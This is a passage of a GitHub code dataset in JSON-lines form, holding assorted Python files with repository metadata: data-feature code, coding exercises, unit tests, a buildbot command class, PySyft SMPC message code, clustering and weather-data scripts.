purchase_month_cos=month_cos,\n purchase_month_sin=month_sin,\n purchase_day=day,\n purchase_day_cos=day_cos,\n purchase_day_sin=day_sin,\n purchase_hour=hour,\n purchase_hour_cos=hour_cos,\n purchase_hour_sin=hour_sin,\n purchase_minute=minute,\n purchase_minute_cos=minute_cos,\n purchase_minute_sin=minute_sin,\n purchase_second=second,\n purchase_second_cos=second_cos,\n purchase_second_sin=second_sin,\n purchase_dayofweek=dayofweek,\n purchase_dayofweek_cos=dayofweek_cos,\n purchase_dayofweek_sin=dayofweek_sin,\n )\n","repo_name":"brodzik/ium-project","sub_path":"service/entities/purchase_datetime.py","file_name":"purchase_datetime.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11720554651","text":"#NOTE: try to code without using \"lower\" and \"isupper\" methods. Use ASCII instead i.e. \"ord\"\n\n# letter = \"W\"\n# print(letter.lower())\n\n\"\"\"\nGiven a string, implement a function that returns the string with all lowercase\ncharacters.\n\nExample 1:\n\nInput: \"LambdaSchool\"\nOutput: \"lambdaschool\"\n\nExample 2:\n\nInput: \"austen\"\nOutput: \"austen\"\n\nExample 3:\n\nInput: \"LLAMA\"\nOutput: \"llama\"\n\n*Note: You must implement the function without using the built-in method on\nstring objects in Python. Think about how character encoding works and explore\nif there is a mathematical approach that you can take.*\n\"\"\"\ndef to_lower_case(string):\n # Your code here\n new_str = \"\"\n for letter in string:\n if letter.isupper():\n new_str += letter.lower()\n elif letter.lower():\n new_str += letter\n return new_str\n\nprint(to_lower_case(\"LLAMADFDFDFDFDdfdfdf\"))\n","repo_name":"David-E-Alvarez/coding-challenges","sub_path":"random_coding_challenges/demo_1.py","file_name":"demo_1.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25691475841","text":"import functools\n\ndebug = False\n\ndef roundhash(game):\n return ':'.join([','.join([str(c) for c in p]) for p in game])\n\ndef draw(game):\n return [x.pop(0) for x in game]\n\ndef winnerof(cards):\n return cards.index(max(cards))\n\ndef endround(game, winner, cards):\n game[winner].extend(cards if winner == 0 else reversed(cards))\n\ndef scoreof(game):\n def playerscore(p):\n return functools.reduce(lambda a, p: a + (p[0]+1)*p[1], enumerate(reversed(p)), 0)\n return functools.reduce(lambda a, p: a + playerscore(p), game, 0)\n\ndef part1(game):\n while all(len(p) > 0 for p in game):\n cards = draw(game)\n endround(game, winnerof(cards), cards)\n print(f'Part 1: {scoreof(game)}')\n\ndef part2(game, root = True):\n debug and print(f'START GAME: {game}')\n prevrounds = set()\n while all(len(p) > 0 for p in game):\n state = roundhash(game)\n if state in prevrounds:\n return 0\n prevrounds.add(state)\n cards = draw(game)\n if all(len(g) >= c for g, c in zip(game, cards)):\n winner = part2([g[:c] for g, c in zip(game, cards)], root = False)\n endround(game, winner, cards)\n else:\n endround(game, winnerof(cards), cards)\n\n (debug or root) and print(f'Part 2: {scoreof(game)}')\n if len(game[0]) > 0:\n return 0\n return 1\n\ndef run(filename):\n with open(filename, 'r') as f:\n data = f.read()\n players = data.split('\\n\\n')\n\n part1_game = []\n part2_game = []\n\n for p in players:\n cards = [int(c) for c in p.split('\\n') if not c.startswith('Player')]\n part1_game.append(cards[:])\n part2_game.append(cards[:])\n\n part1(part1_game)\n part2(part2_game)\n\n# run('day22_ex.txt')\nrun('day22.txt')","repo_name":"thekidder/adventofcode","sub_path":"2020/day22.py","file_name":"day22.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"12963296813","text":"from typing import Dict, Union\nfrom unittest.mock import MagicMock, patch\n\nfrom numpy import ones, uint8\nfrom numpy.testing import assert_array_equal\nfrom pytest import mark\n\nfrom deepdoctection.datapoint import Image\nfrom deepdoctection.mapper.misc import to_image\n\n_TEST_IMAGE = Image(file_name=\"test_image.png\", location=\"test/to/path/test_image.png\")\n_TEST_IMAGE.image = ones((4, 3, 3), dtype=uint8)\n\n_TEST_IMAGE_2 = Image(file_name=\"test_image.pdf\", location=\"test/to/path/test_image.pdf\")\n_TEST_IMAGE_2.image = ones((4, 3, 3), dtype=uint8)\n\n\n@mark.basic\n@mark.parametrize(\n \"datapoint,expected_image\",\n [\n (\"test/to/path/test_image.png\", _TEST_IMAGE),\n ({\"file_name\": \"test_image.png\", \"location\": \"test/to/path/test_image.png\"}, _TEST_IMAGE),\n ({\"file_name\": \"test_image.png\", \"path\": \"test/to/path/test_image.png\"}, _TEST_IMAGE),\n (\n {\"file_name\": \"test_image.pdf\", \"path\": \"test/to/path/test_image.pdf\", \"pdf_bytes\": b\"some_bytes\"},\n _TEST_IMAGE_2,\n ),\n ],\n)\n@patch(\"deepdoctection.mapper.misc.load_image_from_file\", MagicMock(return_value=ones((4, 3, 3))))\n@patch(\"deepdoctection.mapper.misc.convert_pdf_bytes_to_np_array_v2\", MagicMock(return_value=ones((4, 3, 3))))\ndef test_to_image(datapoint: Union[str, Dict[str, Union[str, bytes]]], expected_image: Image) -> None:\n \"\"\"\n Image is properly constructed\n :param datapoint: input to testing method\n :param expected_image: expected Image output\n \"\"\"\n\n # Act\n\n dp = to_image(datapoint)\n\n # Assert\n assert dp is not None\n assert dp.image_id == expected_image.image_id\n assert dp.file_name == expected_image.file_name\n assert dp.location == expected_image.location\n assert_array_equal(dp.get_image().to_np_array(), expected_image.image) # type: ignore\n\n if dp.file_name.endswith(\"pdf\"):\n assert dp.pdf_bytes == datapoint[\"pdf_bytes\"] # type: ignore\n","repo_name":"deepdoctection/deepdoctection","sub_path":"tests/mapper/test_misc.py","file_name":"test_misc.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":1814,"dataset":"github-code","pt":"52"} +{"seq_id":"1073055734","text":"from buildbot.process.properties import WithProperties\nfrom buildbot.steps.shell import WarningCountingShellCommand\n\nclass NinjaCommand(WarningCountingShellCommand):\n\n def __init__(self, prefixCommand=None, targets=None, **kwargs):\n self.prefixCommand = prefixCommand\n self.targets = targets\n\n command = []\n if prefixCommand:\n command += prefixCommand\n\n command += [\"ninja\",\n WithProperties(\"%(jobs:+-j)s\"), WithProperties(\"%(jobs:-)s\"),\n WithProperties(\"%(loadaverage:+-l)s\"), WithProperties(\"%(loadaverage:-)s\")]\n\n if targets:\n command += targets\n\n # Don't forget to remove all the empty items from the command,\n # which we could get because of WithProperties rendered as empty strings.\n kwargs['command'] = command\n\n # And upcall to let the base class do its work\n WarningCountingShellCommand.__init__(self, **kwargs)\n\n self.addFactoryArguments(prefixCommand=prefixCommand,\n targets=targets)\n\n def setupEnvironment(self, cmd):\n # First upcall to get everything prepared.\n WarningCountingShellCommand.setupEnvironment(self, cmd)\n\n # Set default status format string.\n if cmd.args['env'] is None:\n cmd.args['env'] = {}\n cmd.args['env']['NINJA_STATUS'] = cmd.args['env'].get('NINJA_STATUS', \"%e [%u/%r/%f] \")\n\n def start(self):\n # Don't forget to remove all the empty items from the command,\n # which we could get because of WithProperties rendered as empty strings.\n self.command = filter(bool, self.command)\n # Then upcall.\n WarningCountingShellCommand.start(self)\n","repo_name":"vgvassilev/zorg","sub_path":"zorg/buildbot/commands/NinjaCommand.py","file_name":"NinjaCommand.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"20150992946","text":"\"\"\"Test finnhub_market_data module.\"\"\"\nimport time\nfrom unittest.mock import Mock, patch\n\nimport finnhub\nimport pandas as pd\nimport pytest\nimport vcr\n\nfrom optitrader.enums.market import UniverseName\nfrom optitrader.market.finnhub_market_data import FinnhubClient\nfrom optitrader.market.investment_universe import InvestmentUniverse\nfrom optitrader.models.asset import FinnhubAssetModel\n\nfinnhub_client = FinnhubClient()\nmock_finnhub_client = FinnhubClient()\n\n\n@pytest.mark.vcr()\ndef test_get_asset_profile() -> None:\n \"\"\"Test get_asset_profile method.\"\"\"\n asset = finnhub_client.get_asset_profile(\n ticker=\"AAPL\",\n )\n assert isinstance(asset, FinnhubAssetModel)\n\n\ndef test_get_asset_profile_key_error() -> None:\n \"\"\"Test get_asset_profile method.\"\"\"\n with patch(\"finnhub.Client.company_profile2\", return_value={}):\n asset = mock_finnhub_client.get_asset_profile(\n ticker=\"AAPL\",\n )\n assert asset is None\n\n\n@pytest.mark.vcr()\ndef test_get_companies_profiles(\n test_tickers: tuple[str, ...],\n) -> None:\n \"\"\"Test get_companies_profiles method.\"\"\"\n assets = finnhub_client.get_companies_profiles(\n tickers=test_tickers,\n )\n assert isinstance(assets, list)\n\n\ndef test_get_companies_profiles_key_error(\n test_tickers: tuple[str, ...],\n) -> None:\n \"\"\"Test get_companies_profiles method.\"\"\"\n with patch(\"finnhub.Client.company_profile2\", return_value={}):\n assets = mock_finnhub_client.get_companies_profiles(\n tickers=test_tickers,\n )\n assert isinstance(assets, list)\n assert not assets\n\n\n@vcr.use_cassette(\"tests/market/cassettes/test_get_companies_profiles.yaml\")\ndef test_get_companies_df(\n test_tickers: tuple[str, ...],\n) -> None:\n \"\"\"Test get_companies_df method.\"\"\"\n assets = finnhub_client.get_companies_df(\n tickers=test_tickers,\n )\n assert isinstance(assets, pd.DataFrame)\n\n\n@pytest.mark.vcr()\ndef test_get_companies_with_sleep() -> None:\n \"\"\"Test get_companies_with_sleep method with Nasdaq tickers.\"\"\"\n test_tickers = InvestmentUniverse(name=UniverseName.NASDAQ).tickers\n time.sleep = Mock()\n with pytest.raises(finnhub.FinnhubAPIException, match=\"API limit reached\"):\n finnhub_client.get_companies_profiles(\n tickers=test_tickers,\n )\n time.sleep.assert_called()\n","repo_name":"Ale-Cas/optitrader","sub_path":"tests/market/test_finnhub_market_data.py","file_name":"test_finnhub_market_data.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3074340420","text":"#! /usr/bin/python3\n\nimport sys\nsys.path.insert(0, '../data_transform')\n\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\n\nimport constant as ct\n#import cnn as model1 \nimport k_means as model2\nimport ann as model3\nimport data_transform\n\nif __name__ == \"__main__\":\n\n # 1. instantiate model calss\n k_means = model2.K_Means()\n ann = model3.ANN()\n\n # 2. set config\n arg_dict2 = {'dir_model':'hihi'}\n k_means.set_config(k_means, arg_dict2)\n arg_dict3 = {'tmp':''}\n ann.set_config(ann, arg_dict3)\n\n # 3. operate each model\n # 3-1 : read data\n # 3-2 : set_x,y,sequence \n # 3-3 : execute model \n ## k-means\n dt = data_transform.Data_transform()\n x2 = dt.read_csv(\"/root/SMART/in_cluster/nor.csv\")\n k_means.set_x(k_means, x2)\n k_means.set_model_sequence(k_means, 2)\n k_means.create_model()\n# k_means.restore_all()\n k_means.train()\n k_means.run()\n ## ann\n data3 = dt.read_csv(\"/root/SMART/in_ann/in_ann.csv\")\n x3, y3 = dt.split_xy_by_yindex(data3)\n ann.set_x(ann, x3)\n ann.set_y(ann, y3)\n ann.set_model_sequence(ann, 3)\n ann.create_model()\n# ann.restore_all()\n ann.train()\n result = ann.run()\n\n\n# print(result)\n# with open(\"./out\",\"w\") as f:\n# [f.writelines(str(y)) for y in result[0]]\n \"\"\"\n # Load input data\n x1_height = 2\n num_y1_tpye = 2\n x1, x1_width, y1 = make_input.split_xy(\n csv_file_path=\"./input.csv\",\n num_y_type=num_y1_tpye,\n x_height=x1_height)\n \n \n # Model 1\n with tf.Session(graph=graph_cnn, config=session_conf) as sess:\n cnn = model1.CNN(session=sess) \n \n cnn.create_model(\n x_height=x1_height,\n x_width=x1_width,\n num_NN_nodes=[2,3], \n num_y_type=2, \n filter_sizes=[[2,2],[1,2]], \n num_filters=1) \n \n# cnn.restore_all()\n cnn.train(\n x=x1,\n y=y1,\n dev_sample_percentage=0.1,\n batch_size=2,\n num_epochs=1,\n evaluate_interval=2,\n save_interval=100)\n cnn.run(x1, y1) \n \"\"\"\n\n","repo_name":"yw0kim/Failure_Prediction","sub_path":"v0.1/library/model/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"70564600164","text":"# future\nfrom __future__ import annotations\n\n# stdlib\nfrom copy import deepcopy\nimport functools\nimport operator\nfrom typing import Any\nfrom typing import Callable\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\nfrom uuid import UUID\n\n# third party\nfrom google.protobuf.reflection import GeneratedProtocolMessageType\nimport numpy as np\n\n# syft absolute\nimport syft as sy\n\n# relative\nfrom .....proto.core.node.common.action.smpc_action_message_pb2 import (\n SMPCActionMessage as SMPCActionMessage_PB,\n)\nfrom ....common.message import ImmediateSyftMessageWithoutReply\nfrom ....common.serde.serializable import serializable\nfrom ....common.uid import UID\nfrom ....io.address import Address\nfrom ....tensor.smpc.share_tensor import ShareTensor\n\n# How many intermediary ids we generate in each smpc function\nMAP_FUNC_TO_NR_GENERATOR_INVOKES = {\"__add__\": 0, \"__mul__\": 0, \"__sub__\": 0}\n\n\n@serializable()\nclass SMPCActionMessage(ImmediateSyftMessageWithoutReply):\n def __init__(\n self,\n name_action: str,\n self_id: UID,\n args_id: List[UID],\n kwargs_id: Dict[str, UID],\n result_id: UID,\n address: Address,\n ranks_to_run_action: Optional[List[int]] = None,\n msg_id: Optional[UID] = None,\n ) -> None:\n self.name_action = name_action\n self.self_id = self_id\n self.args_id = args_id\n self.kwargs_id = kwargs_id\n self.id_at_location = result_id\n self.ranks_to_run_action = ranks_to_run_action if ranks_to_run_action else []\n self.address = address\n self.msg_id = msg_id\n super().__init__(address=address, msg_id=msg_id)\n\n @staticmethod\n def filter_actions_after_rank(\n rank: int, actions: List[SMPCActionMessage]\n ) -> List[SMPCActionMessage]:\n \"\"\"\n Filter the actions depending on the rank of each party\n\n Arguments:\n rank (int): the rank of the party\n actions (List[SMPCActionMessage]):\n\n \"\"\"\n res_actions = []\n for action in actions:\n if rank in action.ranks_to_run_action:\n res_actions.append(action)\n\n return res_actions\n\n @staticmethod\n def get_action_generator_from_op(\n operation_str: str, nr_parties: int\n ) -> Callable[[UID, UID, int, Any], Any]:\n \"\"\" \"\n Get the generator for the operation provided by the argument\n Arguments:\n operation_str (str): the name of the operation\n\n \"\"\"\n return functools.partial(MAP_FUNC_TO_ACTION[operation_str], nr_parties)\n\n @staticmethod\n def get_id_at_location_from_op(seed: bytes, operation_str: str) -> UID:\n generator = np.random.default_rng(seed)\n nr_ops = MAP_FUNC_TO_NR_GENERATOR_INVOKES[operation_str]\n for _ in range(nr_ops):\n generator.bytes(16)\n\n return UID(UUID(bytes=generator.bytes(16)))\n\n def __str__(self) -> str:\n res = f\"SMPCAction: {self.name_action}, \"\n res = f\"{res}Self ID: {self.self_id}, \"\n res = f\"{res}Args IDs: {self.args_id}, \"\n res = f\"{res}Kwargs IDs: {self.kwargs_id}, \"\n res = f\"{res}Result ID: {self.id_at_location}, \"\n res = f\"{res}Ranks to run action: {self.ranks_to_run_action}\"\n return res\n\n __repr__ = __str__\n\n def _object2proto(self) -> SMPCActionMessage_PB:\n \"\"\"Returns a protobuf serialization of self.\n\n As a requirement of all objects which inherit from Serializable,\n this method transforms the current object into the corresponding\n Protobuf object so that it can be further serialized.\n\n :return: returns a protobuf object\n :rtype: SMPCActionMessage_PB\n\n .. note::\n This method is purely an internal method. Please use serialize(object) or one of\n the other public serialization methods if you wish to serialize an\n object.\n \"\"\"\n\n return SMPCActionMessage_PB(\n name_action=self.name_action,\n self_id=sy.serialize(self.self_id),\n args_id=list(map(lambda x: sy.serialize(x), self.args_id)),\n kwargs_id={k: sy.serialize(v) for k, v in self.kwargs_id.items()},\n id_at_location=sy.serialize(self.id_at_location),\n )\n\n @staticmethod\n def _proto2object(proto: SMPCActionMessage_PB) -> SMPCActionMessage:\n \"\"\"Creates a ObjectWithID from a protobuf\n\n As a requirement of all objects which inherit from Serializable,\n this method transforms a protobuf object into an instance of this class.\n\n :return: returns an instance of SMPCActionMessage\n :rtype: SMPCActionMessage\n\n .. note::\n This method is purely an internal method. Please use syft.deserialize()\n if you wish to deserialize an object.\n \"\"\"\n\n return SMPCActionMessage(\n name_action=proto.name_action,\n self_id=sy.deserialize(blob=proto.self_id),\n args_id=list(map(lambda x: sy.deserialize(blob=x), proto.args_id)),\n kwargs_id={k: v for k, v in proto.kwargs_id.items()},\n result_id=sy.deserialize(blob=proto.id_at_location),\n address=proto,\n )\n\n @staticmethod\n def get_protobuf_schema() -> GeneratedProtocolMessageType:\n \"\"\"Return the type of protobuf object which stores a class of this type\n\n As a part of serialization and deserialization, we need the ability to\n lookup the protobuf object type directly from the object type. This\n static method allows us to do this.\n\n Importantly, this method is also used to create the reverse lookup ability within\n the metaclass of Serializable. In the metaclass, it calls this method and then\n it takes whatever type is returned from this method and adds an attribute to it\n with the type of this class attached to it. See the MetaSerializable class for details.\n\n :return: the type of protobuf object which corresponds to this class.\n :rtype: GeneratedProtocolMessageType\n\n \"\"\"\n\n return SMPCActionMessage_PB\n\n\ndef smpc_basic_op(\n op_str: str,\n nr_parties: int,\n self_id: UID,\n other_id: UID,\n seed_id_locations: int,\n node: Any,\n) -> List[SMPCActionMessage]:\n \"\"\"Generator for SMPC public/private operations add/sub\"\"\"\n\n generator = np.random.default_rng(seed_id_locations)\n\n for _ in range(MAP_FUNC_TO_NR_GENERATOR_INVOKES[f\"__{op_str}__\"]):\n generator.bytes(16)\n\n result_id = UID(UUID(bytes=generator.bytes(16)))\n other = node.store[other_id].data\n\n actions = []\n if isinstance(other, ShareTensor):\n # All parties should add the other share if empty list\n actions.append(\n SMPCActionMessage(\n f\"mpc_{op_str}\",\n self_id=self_id,\n args_id=[other_id],\n kwargs_id={},\n ranks_to_run_action=list(range(nr_parties)),\n result_id=result_id,\n address=node.address,\n )\n )\n else:\n actions.append(\n SMPCActionMessage(\n \"mpc_noop\",\n self_id=self_id,\n args_id=[],\n kwargs_id={},\n ranks_to_run_action=list(range(1, nr_parties)),\n result_id=result_id,\n address=node.address,\n )\n )\n\n # Only rank 0 (the first party) would do the add/sub for the public value\n actions.append(\n SMPCActionMessage(\n f\"mpc_{op_str}\",\n self_id=self_id,\n args_id=[other_id],\n kwargs_id={},\n ranks_to_run_action=[0],\n result_id=result_id,\n address=node.address,\n )\n )\n\n return actions\n\n\ndef smpc_mul(\n nr_parties: int, self_id: UID, other_id: UID, seed_id_locations: int, node: Any\n) -> List[SMPCActionMessage]:\n \"\"\"Generator for the smpc_mul with a public value\"\"\"\n generator = np.random.default_rng(seed_id_locations)\n\n for _ in range(MAP_FUNC_TO_NR_GENERATOR_INVOKES[\"__mul__\"]):\n generator.bytes(16)\n\n result_id = UID(UUID(bytes=generator.bytes(16)))\n other = node.store[other_id].data\n\n actions = []\n if isinstance(other, ShareTensor):\n raise ValueError(\"Not yet implemented Private Multiplication\")\n else:\n # All ranks should multiply by that public value\n actions.append(\n SMPCActionMessage(\n \"mpc_mul\",\n self_id=self_id,\n args_id=[other_id],\n kwargs_id={},\n ranks_to_run_action=list(range(nr_parties)),\n result_id=result_id,\n address=node.address,\n )\n )\n\n return actions\n\n\n# Given an SMPC Action map it to an action constructor\nMAP_FUNC_TO_ACTION: Dict[\n str, Callable[[int, UID, UID, int, Any], List[SMPCActionMessage]]\n] = {\n \"__add__\": functools.partial(smpc_basic_op, \"add\"),\n \"__sub__\": functools.partial(smpc_basic_op, \"sub\"),\n \"__mul__\": smpc_mul,\n}\n\n\n# Map given an action map it to a function that should be run on the shares\"\n_MAP_ACTION_TO_FUNCTION: Dict[str, Callable[..., Any]] = {\n \"mpc_add\": operator.add,\n \"mpc_sub\": operator.sub,\n \"mpc_mul\": operator.mul,\n \"mpc_noop\": deepcopy,\n}\n","repo_name":"datax-io/pysyft-parcel","sub_path":"packages/syft/src/syft/core/node/common/action/smpc_action_message.py","file_name":"smpc_action_message.py","file_ext":"py","file_size_in_byte":9386,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"3149789448","text":"#!/usr/bin/env python\n\nfrom clique import *\nfrom cluster import *\nfrom param import *\n\nimport graph as nx\n\nimport math\nimport sys\nimport time\n\n\ndef outPut(Clusters, schoolnum):\n\tfor n in Clusters:\n\t\tc_lst=n[1]\n\t\tdesc=\"\"\n\t\tfor i in c_lst:\n\t\t\tdesc+='%s;'%i\n\t\tsys.stdout.write('%s\\t%s\\n'%(schoolnum,desc))\n\nif __name__=='__main__':\n\n\tdefault_opts={\n\t\t'-t':(4.0,'float','clusterThresh','stop threshhold for hierarchical clustering'),\n\t\t'-a':(150.0,'float','alterThresh','find cliques in alternative Graph proceeds alterThresh'),\n\t\t'-n':('COMM','str','normType','using the normType to calculate norms in clustering'),\n\t\t'-m':('','str','MatrixFile','input matrix data file path'),\n\t\t'-u':('','str','UserFile','input id<-->username file path')\n\t\t}\n\n\topts=Param(sys.argv[1:],default_opts)\n\n\t_clusters=Cluster(None,opts['clusterThresh'])\n\n\tcurID=''\n\tfor line in sys.stdin:\n\t\tline=line.strip()\n\t\tif not line:\n\t\t\tcontinue\n\t\tIDC=line.split('\\t',6)\n\n\t\tif curID=='':\n\t\t\tcurID=IDC[0]\n\t\t\tsubj=IDC[1]\n\t\t\tcurCluster=IDC[5][:-1].split(';')\n\t\t\t_clusters.append((set([subj]),set(curCluster)|set([subj])))\n\t\telif curID==IDC[0]:\n\t\t\tsubj=IDC[1]\n\t\t\tcurCluster=IDC[5][:-1].split(';')\n\t\t\t_clusters.append((set([subj]),set(curCluster)|set([subj])))\n\t\telse:\n\t\t\t_clusters.cluster_hierarchy()\n\t\t\t_clustersElim=Cluster(_clusters,1,norm_t='MAX')\n\t\t\t_clustersElim.cluster_hierarchy()\n\t\t\toutPut(_clustersElim,curID)\n\t\t\t_clusters=Cluster(None,opts['clusterThresh'])\n\t\t\tcurID=IDC[0]\n\t\t\tsubj=IDC[1]\n\t\t\tcurCluster=IDC[5][:-1].split(';')\n\t\t\t_clusters.append((set([subj]),set(curCluster)|set([subj])))\n\n\t_clusters.cluster_hierarchy()\n\t_clustersElim=Cluster(_clusters,1,norm_t='MAX')\n\t_clustersElim.cluster_hierarchy()\n\toutPut(_clustersElim,curID)\n\t_clusters=Cluster(None,opts['clusterThresh'])\n","repo_name":"foliae/cluster","sub_path":"clusterpy/clusterReducer.py","file_name":"clusterReducer.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12026848722","text":"import pandas as pd\nimport numpy as np\nimport os.path\nfrom tqdm import tqdm\nfrom multiprocessing import Pool\nimport time\n\n\ndef checkFileExist(df, col_names, threads):\n\n #############################################\n #Function to check if files in a list exist\n #Parameters:\n # df = Datafrom of file paths\n # col_names = list of columns to check\n #Returns:\n # None\n # Prints number of files found and missing\n #############################################\n count_found = 0\n count_missing = 0\n\n pbar = tqdm()\n pbar.reset(total=len(col_names))\n\n for col in col_names:\n print(\"\\n\\nChecking \" + col)\n p = Pool(threads)\n found = p.map(checkFileExistSingle,df[col], chunksize = 1000)\n\n p.close()\n p.join()\n pbar.update()\n print('---'+ col + '---\\nNumber of files found: ' + str(sum(found)) + ' \\nPercentage of files found ' + str(round(100*sum(found)/len(df), 4)))\n\n\n\ndef checkFileExistSingle(file_paths):\n\n #############################################\n #Function to check if files in a list exist\n #Parameters:\n # file_paths = list or pandas series\n #Returns:\n # count_found = Number of files found\n #############################################\n count_found = 0\n count_missing = 0\n\n\n\n try:\n if os.path.isfile(file_paths):\n count_found += 1\n else:\n print('File Not Found: ' + file_paths)\n count_missing += 1\n except Exception as e:\n print(e)\n print(file_paths)\n return count_found\n","repo_name":"vishnubashyam/NeuroFID","sub_path":"DataPrep/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35314784054","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport numpy as np\nimport pandas as pd\nimport json\nimport datetime\nimport glob\n\n\n# In[2]:\n\nfolder=\"/home/jian/Projects/Big_Lots/Weather/Json_data/daily/api_response_20180524/\"\njson_list_all=glob.glob(folder+\"*.json\")\n\n\n# In[3]:\n\ninclusion_stores=pd.read_excel(\"/home/jian/Projects/Big_Lots/Q1_Post/BL_Sales YoY_JL_20180514.xlsx\",sheetname=\"Inclusion Stores\",skiprows=1,dtype=str)\nstore_zips=pd.read_excel(\"/home/jian/Projects/Big_Lots/Other_Input/all_store_DMA.xlsx\",dtype=str)[['location_id','zip']]\nstore_zips['zip']=store_zips['zip'].apply(lambda x: x.zfill(5))\ninclusion_stores=pd.merge(inclusion_stores,store_zips,on=\"location_id\",how=\"left\")\ninclusion_stores=inclusion_stores[['location_id','zip']].rename(columns={\"zip\":\"zip_cd\"})\n\n\n# In[4]:\n\ndf_files=pd.DataFrame({\"file\":json_list_all},index=range(len(json_list_all)))\ndf_files['Date']=df_files['file'].apply(lambda x: datetime.datetime.strptime(x[len(x)-15:len(x)-5],\"%Y-%m-%d\"))\ndf_files=df_files[(df_files['Date']>=datetime.datetime(2018,2,4)) & (df_files['Date']<=datetime.datetime(2018,5,5))]\n\n\n# In[5]:\n\nall_weather_groups=[]\nall_weather_desc=[]\nall_weather_id=[]\ndf_missing_weather=pd.DataFrame()\nfor file in df_files['file']:\n response=json.load(open(file,\"r\"))\n for zip_cd in inclusion_stores['zip_cd']:\n try: \n data_zip_weather=response[zip_cd]['weather']\n for i in range(len(data_zip_weather)): \n weather_group=data_zip_weather[i]['main']\n weather_desc=data_zip_weather[i]['description']\n \n all_weather_groups=list(set(all_weather_groups+[weather_group]))\n all_weather_desc=list(set(all_weather_desc+[weather_desc]))\n \n except:\n df_missing_weather=df_missing_weather.append(pd.DataFrame({\"Date\":file[len(file)-15:len(file)-5],\"zips\":zip_cd},index=[0]))\n # print(\"zip data not available: \" + zip_cd+\" | \"+file[len(file)-15:len(file)-5])\n\n\n# In[6]:\n\ndf_missing_weather=df_missing_weather.sort_values([\"Date\",\"zips\"])\nwriter_folder=\"/home/jian/Projects/Big_Lots/Weather/Q1_Weather_Counts/\"\n\nwriter=pd.ExcelWriter(writer_folder+\"Q1_inclusion_store_all_weather_type_JL_\"+str(datetime.datetime.now().date())+\".xlsx\",engine=\"xlsxwriter\")\n\n\n# In[7]:\n\npd.DataFrame({\"all_type_group\":all_weather_groups}).to_excel(writer,\"all_weather_group_list\",index=False)\npd.DataFrame({\"all_type_desc\":all_weather_desc}).to_excel(writer,\"all_weather_desc_list\",index=False)\ndf_missing_weather.to_excel(writer,\"missing_zips\",index=False)\n\n\n# In[8]:\n\nwriter.save()\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n\n# In[9]:\n\nranked_rain_snow_df=pd.read_excel(\"/home/jian/Projects/Big_Lots/Weather/Q1_Weather_Counts/Q1_inclusion_store_all_weather_type_ranked.xlsx\",sheetname=\"ranked rain snow\")\n\nranked_rain=ranked_rain_snow_df.iloc[:,[4,5]]\nranked_rain.columns=[['rain_desc','rank']]\nranked_rain=ranked_rain.sort_values(\"rank\")\n\nranked_snow=ranked_rain_snow_df.iloc[:,[0,1]]\nranked_snow.columns=[['snow_desc','rank']]\nranked_snow=ranked_snow[~pd.isnull(ranked_snow['snow_desc'])]\nranked_snow=ranked_snow.sort_values(\"rank\")\n\n\n# In[ ]:\n\n\n\n\n# # Rain\n\n# In[10]:\n\ndf_output_rain=pd.DataFrame(columns=[\"Store\",\"zip_cd\",\"Date\",\"Collected\",\"No_Rain\"]+ranked_rain['rain_desc'].tolist())\ndf_output_snow=pd.DataFrame(columns=[\"Store\",\"zip_cd\",\"Date\",\"Collected\",\"No_Snow\"]+ranked_snow['snow_desc'].tolist())\ndf_output_temp=pd.DataFrame(columns=[\"Store\",\"zip_cd\",\"Date\",\"Collected\",\"Temp\",\"Temp_Max\",\"Temp_Min\"])\n\n\n# In[ ]:\n\nfor file in df_files['file']:\n date=datetime.datetime.strptime(file[len(file)-15:len(file)-5],\"%Y-%m-%d\").date()\n response=json.load(open(file,\"r\"))\n \n df_rain=pd.DataFrame(columns=[\"Store\",\"zip_cd\",\"Date\",\"Collected\",\"No_Rain\"]+ranked_rain['rain_desc'].tolist())\n df_snow=pd.DataFrame(columns=[\"Store\",\"zip_cd\",\"Date\",\"Collected\",\"No_Snow\"]+ranked_snow['snow_desc'].tolist())\n df_temp=pd.DataFrame(columns=[\"Store\",\"zip_cd\",\"Date\",\"Collected\",\"Temp\",\"Temp_Max\",\"Temp_Min\"])\n df_rain['Store']=inclusion_stores['location_id']\n df_rain['zip_cd']=inclusion_stores['zip_cd']\n df_rain['Date']=date\n df_snow['Store']=inclusion_stores['location_id']\n df_snow['zip_cd']=inclusion_stores['zip_cd']\n df_snow['Date']=date\n df_temp['Store']=inclusion_stores['location_id']\n df_temp['zip_cd']=inclusion_stores['zip_cd'] \n df_temp['Date']=date\n \n\n \n for zip_cd in inclusion_stores['zip_cd'].unique().tolist():\n if zip_cd in list(response.keys()):\n df_rain[df_rain['zip_cd']==zip_cd][\"Collected\"]=\"Recorded\"\n df_snow[df_snow['zip_cd']==zip_cd][\"Collected\"]=\"Recorded\"\n df_temp[df_temp['zip_cd']==zip_cd][\"Collected\"]=\"Recorded\"\n temp=response[zip_cd]['main']['temp']*9/5 - 459.67\n temp_Max=response[zip_cd]['main']['temp_max']*9/5 - 459.67\n 